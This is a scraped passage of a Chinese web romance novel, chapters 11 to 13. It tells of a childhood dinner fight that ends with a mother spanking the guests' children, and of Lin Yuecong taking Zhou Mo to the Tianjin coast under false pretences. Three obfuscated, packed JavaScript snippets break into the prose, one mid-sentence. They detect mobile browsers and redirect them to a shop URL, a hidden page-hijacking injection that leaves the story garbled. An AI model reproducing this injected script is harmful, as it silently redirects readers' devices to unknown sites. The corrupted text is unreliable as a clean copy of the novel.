“切!吹牛!”陈向远不服气,同时往嘴里塞了一大口面,嘟嘟囔囔:“明明很好吃!” 本着互不相欠的平等原则,周墨让陈向远从自己饭盒里夹走一只大虾,丝毫没意识到这是一笔何等赔本的买卖。 陈向远吃了朱美丽做的大虾,不吭声了,憋了半天,忽然将一把钱拍在周墨面前。 “我宣布,以后你的午饭,我都买了!” 周墨惊呆了,她忽然想到平时跟着朱美丽看的琼瑶剧——地主恶少将银子丢在女主面前,颐指气使:“你值多少钱,开个价,本少爷包了!” 于是这一刻,周墨几乎是下意识学着电视剧里的女主,拍案而起:“你这肮脏的臭钱,我一分都不要!给我滚出去!” 陈向远:“……” 被声音吸引齐刷刷回头的同学:“……” 刚好进门的班主任:“……” 11. 011 六岁的男孩子总要比六岁的女孩子晚熟一些,脑子里装的只有变形金刚和旋风卡,更不会去看什么琼瑶剧。 所以在陈向远心里,十分不理解自己的钱怎么就变成周墨口中“肮脏的臭钱”了。 他很生气,也很委屈,脸憋得通红,一整天没跟周墨说话。 周墨倒是落得清净,也不理会陈向远。 下午四点半,放学时间到了。 中山小学分普通班和国际班,国际班和普通班的不同之处,是每天多了两节外教课,课堂上一名英国外教再配一个翻译老师,学的都是从英国邮寄过来的本地教材。 能把孩子送到国际班的家庭,在当时也算得上非富即贵。 所以每到放学,校门口都会出现不少豪车。 当然,周墨是个例外。 周海山这些日子就像当初接送她去幼儿园那样,照旧骑着他那辆大“二八”自行车,平凡的身影完美融入普通班的家长群。 不过今天周墨从学校大门出来,将骑自行车的家长全都过了一遍,却没发现周海山。 这很不寻常,这么多年接送,周海山从不会让周墨等。 “周墨!” 周墨正在校门口来回张望,这时听见周海山的声音。 她循着声音看过去,发现在那一排漂亮小轿车队伍里,老爸周海山正从一辆灰扑扑的面包车中探出头,向她挥手。 周墨瞪大了眼睛,看着周海山笑呵呵打开车门跳下来。 “怎么样,这是咱家新买的车!” 周海山牵着周墨的手,绕着车走了一圈。 金杯面包的后车门是拉门,需要用很大力气才能打开。 周海山拉开车门,露出里面一排齐刷刷的小脑袋瓜。 周墨:“……” “这些都是你们学校的同学,晚上去咱家吃饭。”周海山随口解释了一句,又问周墨:“你同桌呢?陈向远他妈出去打麻将,说不来接他了,让他跟我们一起回去。” 周墨轻车熟路地指向校门口的烤鱿鱼摊子,“他去买烤鱿鱼了。” 周海山果然在鱿鱼摊旁边瞧见了陈向远。 “你去叫他。” “我不去。” “咋啦,吵架啦?”周海山慧眼如炬。 周墨撇开头,“反正我不去。” “行,你上车。” 周海山亲自出马,不一会儿就将陈向远带回来。 七座的金杯面包,算上周墨和陈向远,刚好满座。 两人坐在一起,谁也不看谁。 陈向远手里拎着一个透明塑料袋,里面装着七八串烤鱿鱼。 狭小封闭的空间被烤鱿鱼的鲜香味填满,勾得几个小孩频频咽口水。 周墨同样默默吞了口水,眼角余光瞥见陈向远手中的塑料袋,吃不到葡萄说葡萄酸地想:买那么多,吃得下么! 周海山载着满车小学生回到家,朱美丽已经在客厅里摆好了晚饭。 “哥!”一个小团子冲出来,扑向陈向远,正是陈向朗。 陈向朗从塑料袋里拿出一根烤鱿鱼,“给!” 兄弟两人蹲在一处啃起了鱿鱼。 周海山刚停好车,紧随其后又有两辆车停在了周墨家别墅门外,其中一辆是宝马,另外一辆是红旗。 坐在宝马驾驶座的人周墨认得,正是那次迷路送她回家的阿姨,也就是徐子衿的妈妈。 徐夫人将徐子衿放下车,对朱美丽挥了挥手,“辛苦了哈朱姐,我晚上再来接子衿。” “放心吧!”朱美丽揽过徐子衿肩膀,显然两位妈妈已经在小朋友们不知道的情况下,达成了某种共识。 宝马车开走,徐子衿往旁边避了一下,躲开朱美丽的手,径自背着书包进了周家大门。 这时那辆红旗轿车上也走下来一个人,是开车的司机。 司机快步绕到后面打开车门,微微躬身,护着一个男孩下车。 男孩生得一副好皮囊,虽然只是六七岁的年纪,却已经能看出清隽骨相。 他看上去十分安静,眉眼唇角自带矜贵笑意,乌黑柔软的碎发垂在眉骨,衬得那双眼睛漆黑明亮,身上穿的蓝白拼色运动外套,看上去价格不菲。 “阿姨好。”男孩很有礼貌地冲朱美丽打招呼,只是眼睛根本没有看人。 “哎,你好,你是林跃琮吧?”就连朱美丽也被这漂亮男孩的气场震慑一瞬。 “嗯。” 林跃琮简单应了一声,没再多说半个字。 朱美丽对周墨道:“林跃琮也是住在咱们小区的,他在中山小学国际班读二年级,算是你的师兄。” 所有孩子都到齐,朱美丽生怕小孩子们到了陌生地方害怕,笑容满面地说:“以后你们放学就在阿姨家里吃饭,然后做作业,等你们爸爸妈妈忙完了再来这里接你们。” 她长得面善,自带亲和力,大部分孩子立刻呈现出放松状态,很听话地找了位置坐下,准备等开饭。 林跃琮目光在客厅内搜寻了一圈,问周墨:“洗手间在哪里?” 周墨指了指,“那边。” 林跃琮头微微靠近,几乎就要和周墨的头挨上了,他顺着周墨指的方向看过去,声音轻轻柔柔:“哪儿呀?” 周墨突然紧张起来,脸颊泛红,“我带你过去吧。” 林跃琮目光收回来,看着她一笑,“好啊,谢谢你。” 周墨带林跃琮到洗手间门口,踮起脚尖努力去够灯的开关。 林跃琮比她高半个头,就那么在一旁心安理得看着。 好不容易将灯打开,周墨舒了口气,示意林跃琮可以进去了。 林跃琮却道:“不和我一起么?” 周墨脸更红了:“你上厕所,我跟你一起怎么上?” 林跃琮笑眉笑眼地说:“可是我害怕,不敢一个人。” “你害怕啊?那我陪你呗!”陈向远不知道什么时候跟过来,双手叉腰往前一横,将周墨挡在身后。 林跃琮挑了挑眉,“你是谁?” “我是她同桌!”陈向远喊得理直气壮。 林跃琮点了点头,然后什么也没说,自己进了洗手间。 陈向远开始在门口教育周墨:“你是不是傻,看不出来他要欺负你么?” 周墨一头雾水,“怎么就欺负我了?” 陈向远:“他肯定是要把你骗进去,然后趁你不注意自己跑出来,关上灯再把门锁上。” 周墨丢给陈向远一个嫌弃的眼神,“你以为谁都和你一样坏。” 陈向远不可置信:“诶!你怎么还不领情呢!你到底和谁一伙的!” 周墨哼了一声,“反正和你不是一伙的!” 朱美丽准备的晚餐是四菜一汤,荤菜是菠萝古老肉和清炒虾仁,素菜是红烧茄子和醋溜绿豆芽,配什锦菌菇汤。 有心急的孩子已经忍不住开动,菠萝古老肉的酱汁蹭得满嘴都是。 徐子衿站在餐桌边,盯着一旁小孩嘴上的酱汁,表情满是嫌弃,似乎让他坐在这人身边,需要莫大的勇气。 “怎么啦?”朱美丽注意到徐子衿的异常, 徐子衿感觉到不少人都在看自己,特别是对面那个叫林跃琮的。 “没什么。”他硬着头皮坐下了,尽量与旁边的小孩距离拉远。 陈向远在周墨那里受了一肚子气,看林跃琮越发不顺眼。 林跃琮要拿筷子,他直接将筷子抢过来。 “我筷子掉地上了,借一下你的。” 林跃琮目光落在陈向远碗边的筷子。 陈向远直接将筷子扫到地上,然后挑衅地看回去。 林跃琮又去拿勺子。 陈向远先一步抢过勺子,“我弟弟不会用筷子,借一下你的勺子。” 林跃琮看出陈向远在找茬,笑了笑没说话。 他直接捧起了汤碗,一下一下地吹着。 陈向远以为林跃琮怂了,很是得意。 陈向朗吃了太多烤鱿鱼,这会儿一点都不想吃东西。 他正用手指头一根一根将绿豆芽从盘子里拎出来,在桌面上摆火柴人玩。 不过很快他的注意力就被林跃琮吸引了,见他一下一下将碗里的汤吹出波纹,也有样学样,捧过汤碗学着吹。 林跃琮见陈向朗学自己,非但没有停,反而带着鼓励的目光,吹得更用力了,像是在跟他比赛一样。 陈向朗被激起了斗志,决定来一把大的。 他深吸一口气蓄力,将腮帮子高高地鼓起来,然后使出吃奶的劲用力一吹! 呼! 汤汁飞溅,直接喷了坐在对面的徐子衿一头一脸。 徐子衿噌地一下站起来。 陈向朗对上他冷冷的视线,非但不害怕,还咯咯笑着继续往汤碗里吹气。 更多汤汁溅在徐子衿衣服上。 两边的小孩感受到危险的气息,纷纷抱着自己的饭碗撤离。 只有徐子衿还站在原地。 最初的怒意平息后,他表情平静地拿起自己那碗汤,举到陈向朗头顶,一整碗倒了下去。 陈向朗被浇了一头蘑菇汤,哇的一声大哭出来。 “你敢欺负我弟弟!!” 陈向远掀了面前的盘子,越过桌子向徐子衿扑过来。 周海山和朱美丽听见动静,赶紧从厨房冲出来。 周海山一手一个,将打在一起的陈向远和徐子衿分开。 朱美丽检查陈向朗,见他没有被烫伤,松了口气,用毛巾给他擦脸擦头。 还没擦完,陈向朗大叫一声:“我跟你拼了!”然后一头冲向徐子衿。 朱美丽提溜住陈向朗的后脖领,将人逮了回来。 “还拼,你跟谁拼!给我老实坐好!” 好不容易将几个人都按在了饭桌边,朱美丽开始复盘:“说吧,到底怎么回事!谁先动的手?!” 陈向远和徐子衿都不说话,陈向朗指着徐子衿告状:“他先用汤泼我!” 周墨见徐子衿不为自己辩驳,正义地出来做污点证人:“我看到是他先往徐子衿脸上吹汤的。” 陈向朗立马伸手指林跃琮:“我跟他学的!” 林跃琮慢悠悠地说:“我的筷子和勺子被人抢走了,只能喝汤。汤太烫了,吹一吹,有什么错?” 朱美丽头疼,问林跃琮:“谁抢了你的勺子和筷子。” 林跃琮看向陈向远。 陈向远立刻说:“我的筷子掉在地上了,我管他借的。” 总归是没有一个人觉得自己有错。 朱美丽懒得断案,这些小少爷她一个都得罪不起,用最快的速度将散落在地的碗盘饭菜收拾了,又重新盛了新的饭菜摆在桌上,哄道:“都不要闹了,先好好吃饭。” 徐子衿,陈向远,陈向朗都很不服气的样子,坐在桌边,谁也不动筷子,也不吭声。 只有林跃琮率先开口。 “让我吃饭可以,但是我要他给我道歉。”林跃琮伸手指陈向远。 陈向远正憋着一口气呢,立刻炸了:“我为什么要跟你道歉?” 林跃琮说:“刚才你污蔑我,说我要把周墨关在洗手间里,损害了我的名誉。” 在周墨等一众小屁孩还不懂名誉是什么意思的时候,林跃琮已经开始为了捍卫名誉而战。 朱美丽快要疯了,太阳穴一跳一跳。 她对陈向远说:“你跟他道个歉吧?” 陈向远梗着脖子,“我不!” 她将刚刚盛好的一碗热气腾腾的米饭递给林跃琮,“你比他们大,是哥哥,原谅……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093684|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话没说完,林跃琮当着朱美丽的面,直接将一碗米饭倒扣在桌上。 “我要他给我道歉。” 似乎觉得这种宣战的方式不错,陈向远也学着林跃琮的样子,将自己那碗米饭倒扣在桌上。 “我就不道歉!” 陈向朗紧跟其后,也将米饭扣过来,他手太小,弄得不太利索,还将半碗米饭撒在徐子衿脚上。 徐子衿几乎是条件反射,一脚将整张桌子踹了。 稀里哗啦,满地狼藉。 朱美丽崩了许久的神经终于断了,怒火直窜上头。 “周墨!去把大门锁了!” 她一声高呼,冲进厨房抄起擀面杖,再出来时像一头愤怒的斗牛。 “小兔崽子们,放着好好的日子不过是吧,我看你们就是惯的一身臭毛病,欠修理!” 周海山吓坏了,赶紧冲上来将人拦住,小声提醒:“老婆,老婆老婆,冷静!这可不是咱自己家孩子啊,不能打!” “给我起开!”朱美丽一擀面杖抡过去,周海山不得不放手。 朱美丽顺手抓起离自己最近的陈向朗,噼里啪啦就是一顿竹笋烧肉。 陈向远再次化身护弟狂魔,嗷一嗓子冲过来就要和朱美丽拼命。 朱美丽单手便将人按住,对准屁股又是一顿暴揍。 一对难兄难弟被打得鬼哭狼嚎,徐子衿僵硬在原地,似乎在赌朱美丽不敢对自己动手。 谁知下一秒,他就被薅过去,屁股朝天,挨了有生以来的第一顿胖揍。 朱美丽丝毫不手软,一边打一边骂,“谁教给你的规矩,动不动就掀桌?老娘一下午辛辛苦苦做的饭菜,就被你这么糟蹋!小兔崽子你要是我亲儿子,腿我都给你打断!” 徐子衿没有像陈家兄弟那样痛哭流涕,挨完了揍,整个人呆呆的,陷入了懵逼状态。 朱美丽喘了口气,锁定最后一个目标。 林跃琮强装淡定,在跑与不跑之间,最终选定了后者。 “你敢动我?你知道我爸是谁么?” 这话无异于火上浇油,原本冲着林跃琮那张漂亮脸蛋,朱美丽还有点下不去手,一听这话可了不得,提溜小鸡崽一样将林跃琮一把抓来,抡起擀面杖就是一顿暴打。 “还知道你爸是谁么,你让林厅长站我跟前,老娘当着他的面揍你信不信!就你小子最坏了,你以为我没看见么?那小的在那吹汤,不是你故意引导的!小小年纪还学会祸水东引了,看把你能的!” 周墨守在门口,看着亲妈打完了这个打那个,揍完了那个揍这个,看得目瞪口呆。 窗户外晃过一阵灯光,外面传来汽车引擎的声音。 有人来敲门。 周墨吓得脸都白了,对朱美丽喊道:“妈,外面有人来了!” 一听有人来,室内哭声分贝骤然飙高。 林跃琮更是大声喊起来:“来人呀!救命!” 外面的人听起来越来越多,敲门声也越来越急促。 “周墨,开门!”朱美丽命令道。 周墨战战兢兢将门打开,进来的都是来接小孩的家长。 看到客厅里的场景,一个一个全都惊呆了。 朱美丽提着擀面杖走过来,不仅没有丝毫惧意,反而红着眼睛,对家长们开启了无差别炮轰—— “各位家长,对不起了,今天这里有孩子祸害粮食,我替你们教训他们。我平时在饭店工作,你们知道每天晚上饭店打烊后,等在后门要饭的人有多少么?全国凭票买粮买肉才过去几年啊?才过了几天温饱不愁的日子,就敢这么作践?知道有多少人还吃不上饭么?! 今天我朱美丽把话放在这里了,您把孩子送到我家,我准保真材实料地好好给他们做饭,好好照顾他们。但要是再有小孩像今天这样胡闹,我甭管您家里做多大的官,做多大的生意,您没教育好的孩子,我替您教育! 您是要告我还是要报警的,我都奉陪到底!总归一句话,在我们家,就得守我的规矩。您要是心疼孩子或者不放心的,以后也不用再来了,我给您办理退款,今天这顿就算白送你们!” 也是巧了,站在最前面的,是一个戴着眼镜的中年男人,正是林跃琮的爸爸林厅长。在朱美丽虎虎生风的擀面杖面前,林厅长愣是从始至终没敢讲一句话。 直到她彻底说完了,林厅长才推了推眼镜,客气道:“朱美丽同志,您先消消气。我们平时工作太忙疏于管教,孩子调皮捣蛋,给您带来了麻烦,实在是对不住。我仅代表我个人哈,今后您对我家孩子的任何批评教育,我都没有意见,并且全力支持。” “嗨,这个年纪的皮猴子就是欠打,朱姐,我家的那两个您尽管揍,您要是揍不动了回头跟我说,我回家接着揍。”这次说话的是陈家兄弟的妈妈。 本来指望着亲妈出来给自己做主的陈向远和陈向朗,顿时收住了哭声。 徐子衿的妈妈站在后排,也出来表态:“我也没有意见,小孩子做错事,就是要教育。” 挨打的几个孩子家长都没说什么了,其他家长更是纷纷附和,表示 认可朱美丽的话。 不过也有个别犹豫的,似乎担心朱美丽脾气太爆,可是一听说他们要退款,他们自己家的孩子先急了,纷纷嚷着朱阿姨做的饭好吃。 于是这一晚,朱美丽大开杀戒,付出了零代价。 就连摔碎的几个盘子碗,也由肇事者的父母主动赔偿。 自此,朱美丽女士一战成名,也在小小的周墨心里留下影响深重的一笔。 她叉腰而立的身影,像一株参天大树,为周墨的行为处事立下标尺,让她无论面对何等权贵巨擘,都能不卑不亢,坚守本心。 这也成就了她日后在生意场上的意气从容,助她所向披靡,一往无前。 12. 012 时隔多年的重聚,这顿饭大家都吃得很高兴。 最起码在朱美丽眼里是这样的。 几人或多或少都喝了点酒,不能开车。 岳朗倒是方便,直接去楼上他自己的房子睡就行了。 陈向远借着酒劲儿,黏在朱美丽身上耍赖撒泼:“美丽阿姨,我走不了啦,今晚我就住这儿!” 朱美丽一脸很烦很嫌弃的样子,却已经开始催促着周墨去柜子里拿多余的被褥。 岳朗直接过来,揪着陈向远脖领子,将人从朱美丽身上揭下来。 “来吧您,跟我去楼上!” 陈向远鬼哭狼嚎,奈何武力值比不过岳朗,生生被拖走。 兄弟俩都走到门口了,岳朗忽然想起什么,回头看林跃琮和徐子衿。 “你们,也跟我走吧。” 林跃琮微笑,“多谢,但是不用了,我叫了代驾。” 三个男人又同时将目光移到徐子衿身上。 这时周墨正抱着被子从次卧出来。 朱美丽说:“子衿就住这里吧,别折腾了。” 徐子衿唇角轻勾,向另外三人投以胜利者的微笑。 陈向远挣开岳朗,指着徐子衿,“凭什么你住这里,我不同意。” 徐子衿一手揽住朱美丽,“这是我妈,那是我妹,我住这里有问题?” “那我还是周墨……” 眼看着陈向远要说出了不得的话,周墨火速冲上去捂住他嘴巴。 “行了行了,都别闹了,怪晚的,赶紧各回各家睡觉去吧。” 一边说一边频频给岳朗使眼色。 岳朗心有不甘,可他不愿周墨为难,冷冷瞥了徐子衿一眼,将陈向远强行带走。 这样一来,要离开的就只有林跃琮一个人了。 “周墨,不送送我么?”跟朱美丽告别后,林跃琮换好了鞋子,站在玄关处笑着说。 徐子衿走过来:“我送你。” 周墨想到了卫青青的拜托,抢到徐子衿前面。 “没事,我送他下去。” 徐子衿愣了一下,终究没再往前走。 他只是面无表情地立在原地,目送周墨和林跃琮出了门。 周墨跟着林跃琮下楼,代驾还没来。 两人站在单元门口,周墨穿着一身灰色居家服,双手插在口袋里。 这是北京最舒服的季节,初秋的晚风吹散了白天的燥热。 泛黄的路灯将两人的影子拖长,在地面映出温柔的形状。 林跃琮忽然开口:“说吧。” “嗯?说什么?”周墨没反应过来。 “不是有事求我么。” 林跃琮侧过头,总是含着笑意的眼睛,这会儿却很冷淡。 周墨有点尴尬,虽然知道林跃琮这人很不好惹,还是被他超乎寻常的洞察力吓到了。 “你怎么看出来的……” 林跃琮自嘲地一笑,收回目光。 “浑身上下一百个不愿意搭理我,却还是硬着头皮跟我说话,讨我开心,甚至还能亲自下楼送我。周墨,你真是一点都没变。” 周墨被他这话架在这里,反倒不好开口了。 但她也不肯白受气,当即怼回去:“说话总喜欢挤兑着人说,阴阳怪气的,你也一点没变。” 她在心里对卫青青说了句对不住,转身就要走,却被林跃琮抓住手腕。 这时林跃琮的手机响了,他单手接电话,另一手还牢牢抓着周墨。 “嗯,你往前走,我在三单元门口。” 是代驾到了,林跃琮和对方确定位置。 “放开我。”周墨挣了几下,没能挣脱。 代驾骑着折叠车找到他们,从林跃琮手里接过车钥匙,很快将他的车开过来。 今天不是那辆库里南了,换成了低调的奔驰大G。 周墨记得,林跃琮从学生时代开始就对SUV情有独钟。 她那时候还问过他,为什么喜欢SUV。 毕竟像他们这些有钱的公子少爷,大多数都喜欢看上去更拉风的跑车。 然后林跃琮就用上讲台讲数学题的严谨态度,一脸认真回答她:“因为SUV内室宽敞,无论是后座还是前座,都很适合车震。” 周墨就是从那时候开始,对林跃琮的滤镜碎了一地。 奔驰大G停在两人面前。 林跃琮打开车门,示意周墨上车。 周墨:“林跃琮,你有病吧?” 林跃琮面无表情道:“你上车,未来三年红松资本的法务合作就是卫青青他们律所的。” 周墨冷笑,“你觉得我会为了别人的生意,把自己卖了?” 十分钟后。 周墨和林跃琮一起坐在了他的大G后座。 拿捏周墨其实很简单。 林跃琮只是稍稍提醒了她一下,现在卫青青一直在帮她的工作室免费过合同。 但是卫青青她老板,也就是她的亲爹,重男轻女思想极其严重,一直想培养侄子接手律所,至于亲闺女,则准备用来联姻。 卫青青急于向亲爹证明自己,要是红松资本这一单拿不下,她的业绩就没法达标,只能被踹出律所回家嫁人,做全职豪门太太。 到时候卫青青自然没法再胜任周墨工作室的法务,她需要另请团队,对她来说,无疑是一大笔巨大开销。 周墨只知道卫青青说自己处境艰难,不被亲爹看好,但是没想到竟然会这么惨。 她不想痛失免费劳动力固然是一个原因,更重要的是,她不想因为她,导致闺蜜沦落到去嫁人。 所以明知道林跃琮这是在要挟,她还是妥协了。 反正就是陪他回家,人送到地方,她再打车回去就是。 他还能吃了她么? 林跃琮很识趣,知道周墨生气,接下来一路都没和她说话。 周墨一直扭头盯着窗外看夜景。 车子行驶了二十多分钟,外面一点繁华迹象都没有,反而越来越荒凉。 周墨觉出不对劲,问:“这是要去哪里,怎么像是在往郊区走?” 以她的预判,林跃琮的住处应该在城中心才对。 “东北边,有点远。”林跃琮回答得言简意赅。 周墨听岳朗提起过,那边远郊这两年开发了很多别墅区,想来林跃琮是有置产。 “跑这么远,我怎么回来?打车要破产的!”周墨的抠门基因被触发,整个人都红温了。 林跃琮淡定道:“放心,到时候送你回来。” 周墨天然理解为林跃琮会找司机送她,也就没再做声。 车内又恢复了安静,安静到有些无聊。 林跃琮让代驾放首歌。 音乐打开,播放的是陈柏霖的《我不会喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093685|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你》。 这是前两年很火的一部台剧的主题曲,剧集热播时周墨还没毕业,每天在寝室里追剧追得痛哭流涕。 颠簸又漫长的行程,伴随着舒缓的旋律,最容易催发睡意。 更何况,周墨还喝过酒。 听着歌词一遍遍重复的“别想了,别想了,我不会喜欢你”,她眼皮渐渐发沉,半梦半醒间,恍惚回到了六年前,和林跃琮那次不愉快的重逢。 确切说,是林跃琮单方面来找她的。 那是大学报道第一天,周墨这个北方孩子第一次来上海,还不太适应江浙沪包邮区的夏季。 闵行的交大校园实在太大,偏偏周墨不会骑自行车,一上午全靠腿跑,这边办手续,那边领教材,直接中暑了。 她都不知道自己是怎么晕过去的,再次醒来,已经被人送到医务室。 站在她病床边的,居然是林跃琮。 周墨的反应不亚于见鬼。 “你,你怎么在这里?” 林跃琮垂眸看着她,眼底无波,静得发寒。 周墨被他看毛了,“你这么看我做什么?” 林跃琮声音很轻:“为什么不回我消息,也不接我电话?” 周墨移开目光,不再看林跃琮。 “我为什么要回你消息。” “不是说好的,让你填报北京的学校。” 周墨从床上坐起来,慢吞吞拿下敷在额头上的冰毛巾。 “你让我填我就要填么,我自己想来上海念书,有问题么?” “周墨。”林跃琮语气中带着警告意味。 这是他生气的前兆。 可是周墨如今已经懒得再哄他。 “林大少爷,以后能不能别再联系我了。” 林跃琮垂在身侧的手缓缓攥成拳,不过很快又松开。 “是不是我妈跟你说什么了?” 周墨轻笑一声,“林跃琮,豪门狗血剧看多了吧你?阿姨能跟我说什么?” “那为什么这样?你明知道我要在北京念书,你的成绩,在北京也可以随便挑学校……” “还能因为什么?”周墨打断他,“因为我不喜欢你,想离你远一点。这么简单的事都想不明白么,非要我说出来?” 林跃琮倏然抬眼,死死盯着周墨。 “你说什么?” 周墨想要下床,却被林跃琮按了回去。 他捏住她下巴,迫她抬头与他对视,重复:“周墨,你说什么?再说一遍。” 林跃琮的样子太吓人了,似乎周墨只要再将刚才的话重复一遍,他就要杀了她。 可偏偏周墨遗传了朱美丽的硬骨头。 她一字一句,看着他的眼睛说:“林跃琮,我不喜欢你,我从来都没喜欢过你,别再纠缠我了。” 林跃琮放开了她,他的手无力垂落,看着她,一步步倒着后退。 “好,好。”他一边点头一边笑,“我知道了。” 有那么一瞬,周墨都要以为他疯了。 可他终究还是保持了世家公子应有的风度,没有对周墨发脾气。 只是转身离去时,向来骄傲的他,却像是落荒而逃。 也是自那以后,六年的时间,两人再无联系。 那个阳光明媚的午后,在那充满了消毒药水气味的医务室里,他们给彼此的过去,画了个不太体面的句号。 13. 013 周墨忽然惊醒。 车还在开,她睡得有点晕车,降下车窗,想要透透风。 扑面而来的潮湿空气带着淡淡的海腥味。 周墨按窗子开关的手瞬间僵住,以为自己出现了错觉。 她努力向窗外看,路灯只照亮了路面,两旁漆黑一片,什么也看不见。 但是很快周墨就不需要看了,因为她听见了外面的海浪声。 周墨:“……” 她猛地转身,发现林跃琮正看着她,显然,将她的一举一动尽收眼底。 “不是,林跃琮,你有病么!你真的脑子不正常吧!这是哪儿!你这是把我弄哪儿来了!”周墨几乎要原地爆炸。 林跃琮还没说话,代驾这时却将车子停了下来,回头说:“林先生,您预约的目的地——天津滨海停车场——已顺利到达,请您下车检查车况,确认无误后麻烦在手机上完成订单确认,谢谢。” 周墨连代驾小哥一起喷:“不是……你也有病吧,大半夜的,你接什么跨城订单啊!” 小哥腼腆地笑了笑,“没办法,这位先生给得实在太多了。” 周墨:“……” 代驾熄火,解开安全带下车。 周墨跟着下去,四下张望一圈,连个鬼影子都没瞧见。 眼看着代驾小哥去后备箱取出折叠自行车,她大惊失色:“不是吧,你要骑回北京么?!” “那不能,我找个酒店睡一晚,明天坐高铁回京。” “这样都不赔本么?!”周墨叹为观止。 代驾小哥还是那句话:“这位先生给得太多了,今天这一单赚得比我一周都多。” 说完,他脚下一蹬,骑上自行车就跑。 “等一下!我再给你发一单,你送我回去!” 周墨大声召唤。 可惜召唤失败。 林跃琮在她后面笑出声,眼里也重新带上笑意。 他对周墨说:“他可不敢接你的单,我会投诉他的。” 周墨抓狂,她也不理林跃琮,拿出手机开始叫代驾单。 他们两个人都喝了酒,前年开始醉驾入刑,没人敢酒后驾车。 可是天津的滨海新区才没开发几年,这附近到处都是施工工地,连个常住人口都没有,周墨十分怀疑在这里能不能叫到代驾。 果然,呼叫单上代表等候的小圆圈转了又转,就是无人接单。 “放弃吧,这里应该叫不到代驾的。”林跃琮不紧不慢地说。 “疯子!林跃琮你这疯子!你到底想干什么呀?”周墨身上的居家服很薄,半夜站在外面吹海风,整个人都透心凉。 林跃琮从车上拿了件外套,给周墨披上,然后打开驾驶位的门,探身进去按了个按键。 驾驶和副驾驶两个座位开始缓缓放平,同时车顶的天窗也自动打开。 “上车休息吧,我查过天气预报,明天早上天很晴,适合看日出。” “谁要来跟你看日出,你这是人口拐卖!是欺骗!” “我又没骗你。” “怎么没骗?你要说你来天津海边,我就算是看着卫青青嫁到非洲去,我都不带上你的车的!” 周墨随手绑的丸子头已经快散开了,碎发凌乱,气得脸颊涨红,像只炸了毛的猫。 林跃琮垂下眼,姿态放得很低,“周墨,我今天心情不好,陪陪我。” 周墨翻着手机通讯录,决定不做人了,她要把助理小张叫出来,让他开车来接她。 林跃琮一把抓住她的手机,将她拉到自己跟前,低头看她。 “周墨,有些话,我们好好聊一聊吧。明早看完日出,我就送你回去,行么?” 周墨打了个喷嚏。 无论如何,不能跟自己的身体置气。 她裹着林跃琮的风衣,一言不发地坐进副驾。 与其说是坐,此时座椅的角度,几乎能让周墨彻底平躺下来,可以透过打开的天窗看到夜空。 林跃琮也躺进了主驾,再次放出那首《我不会喜欢你》。 我想我应该应该不会爱你, 为了要努力努力的不爱你。 所以我让自己那么喜欢你, 这样你就不忍心和我分离…… 周墨第一次听这首歌的时候还是大二,那时候少年不知愁滋味,未赋新词强说愁。她为剧里的男女主哭,为自己那段无疾而终的青涩情感伤心难过。 直到一年后,父亲生病,家中变卖房产,她为了尽早毕业,用三年的时间修完四年的学分,同时还要抽时间写公众号赚外快,几乎将自己逼成一个陀螺。 在那段难熬的日子里,周墨才明白,在真正的苦难面前,那些少女心事简直不值一提。 而这首曾经让她反复循环的情歌,在如今的她看来,完全是狗屁不通,无病呻吟。 一整首歌放完,林跃琮才打破沉默。 “每年四月到十月都是银河的拍摄黄金期,这里也是个很好的观星点。可惜,今晚似乎有云,什么也看不到。” 周墨十分残忍地补刀:“那可能明早的日出也看不到的。” 林跃琮没有反驳,反而轻轻“嗯”了一声,说:“也有这个可能。我们两个在一起的时候,似乎运气总是不太好。” 周墨这回没有说话,只是闭上眼睛。 就在林跃琮以为周墨睡着了的时候,忽听她轻轻叫了声自己的名字。 “林跃琮。” 语气中不带任何感情,平静得让林跃琮有些害怕。 在资本圈里大杀四方的投资天才,这一刻甚至连呼吸都变得小心翼翼起来。 “我以为我们上次吃饭,我已经把话说得很明白了。”周墨说。 林跃琮顿了一下,问:“你说什么了?” 周墨:“我们两个,是不同世界的人。” 林跃琮冷笑一声:“我是哪个世界的,你又是哪个世界的?” 周墨侧过头看林跃琮,“林跃琮,你明白我的意思。何苦要弄到大家都难堪呢,最后连朋友都没得做。” 林跃琮安静看她片刻,说出的话透着股狠劲:“周墨,你我之间只有两种结局,要么有情人终成眷属,要么老死不相往来,没有第三种。我不差你这么个朋友。” “哦,那很可惜了。”周墨再次闭上眼,大有一种谈话就此结束的意思。 但这次她闭眼闭得很不踏实,总觉得林跃琮一直在看自己。 她睫毛微颤,克制想要睁眼的冲动,打定主意不去理会。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093686|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 片刻后,她听见林跃琮的声音从旁传来。 “周墨,你真的从来没喜欢过我么?” 周墨正要说话,林跃琮又慢条斯理地补充:“撒谎的人是要破财的。” 周墨:“……” 